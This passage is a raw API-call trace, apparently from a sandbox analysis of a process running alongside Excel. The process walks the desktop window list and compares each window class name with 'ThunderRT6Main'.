GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.491] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0106.491] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0106.491] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0106.491] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.491] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0106.491] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0106.491] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0106.491] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.491] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0106.491] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0106.491] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0106.491] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0106.491] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.491] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.491] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.491] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0106.491] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0106.491] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0106.491] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0106.492] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0106.492] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0106.492] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0106.492] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0106.492] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.492] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.492] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0106.492] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0106.492] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0106.492] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0106.492] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.492] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0106.492] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0106.492] IsWindowEnabled (hWnd=0x302dc) returned 1 [0106.492] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0106.492] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0106.492] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0106.492] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0106.492] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0106.492] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0106.492] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0106.492] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0106.492] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.492] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0106.492] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0106.492] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0106.492] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0106.492] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.492] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.492] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.492] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0106.492] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0106.492] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0106.492] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0106.492] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.492] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.492] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.492] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0106.492] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0106.492] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0106.492] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0106.493] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.493] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.493] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.493] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0106.493] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0106.493] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0106.493] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0106.493] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.493] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.493] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.493] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0106.493] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0106.493] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0106.493] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0106.493] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0106.493] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0106.493] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.493] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0106.493] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0106.493] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.493] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.493] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0106.493] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0106.493] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0106.493] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0106.493] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.493] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0106.493] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0106.493] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0106.493] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0106.493] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0106.493] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0106.493] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.493] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0106.493] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0106.493] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0106.493] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0106.493] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0106.493] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0106.493] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.493] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0106.493] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0106.493] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0106.494] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0106.494] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.494] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.494] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.494] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0106.494] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0106.494] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0106.494] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0106.494] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.494] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.494] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.494] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0106.494] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0106.494] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0106.494] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0106.494] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.494] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.494] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.494] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0106.494] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0106.494] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0106.494] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0106.494] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0106.494] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0106.494] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.494] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0106.494] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0106.494] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0106.494] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0106.494] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0106.494] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0106.494] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.494] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0106.494] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0106.494] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0106.494] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0106.494] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0106.494] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0106.494] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0106.494] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0106.494] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0106.494] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.495] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0106.495] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0106.495] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0106.495] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0106.495] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0106.495] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0106.495] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0106.495] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0106.495] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0106.495] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0106.495] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0106.495] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0106.495] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0106.495] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0106.495] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0106.495] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0106.495] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0106.495] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0106.495] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0106.495] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0106.495] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0106.495] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0106.495] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0106.495] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.495] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0106.495] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0106.495] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0106.496] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0106.496] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0106.496] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0106.496] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0106.496] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0106.496] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0106.496] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0106.496] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0106.496] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0106.496] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0106.496] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0106.496] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0106.496] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0106.496] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0106.496] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0106.496] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0106.496] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0106.496] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0106.496] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0106.496] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0106.496] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.496] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0106.496] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0106.496] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0106.497] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0106.497] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0106.497] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.497] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0106.497] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0106.497] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0106.497] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0106.497] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0106.497] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.497] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0106.497] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0106.497] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0106.497] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0106.497] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0106.497] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.497] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0106.497] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0106.497] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0106.497] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0106.497] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0106.497] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.497] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0106.497] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0106.497] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0106.497] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0106.497] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0106.497] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0106.497] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.497] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.498] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0106.498] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0106.498] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0106.498] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0106.498] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0106.498] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0106.498] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.498] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.498] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0106.498] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0106.498] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0106.498] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0106.498] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0106.498] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0106.498] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.498] lstrcmpA (lpString1="IME", 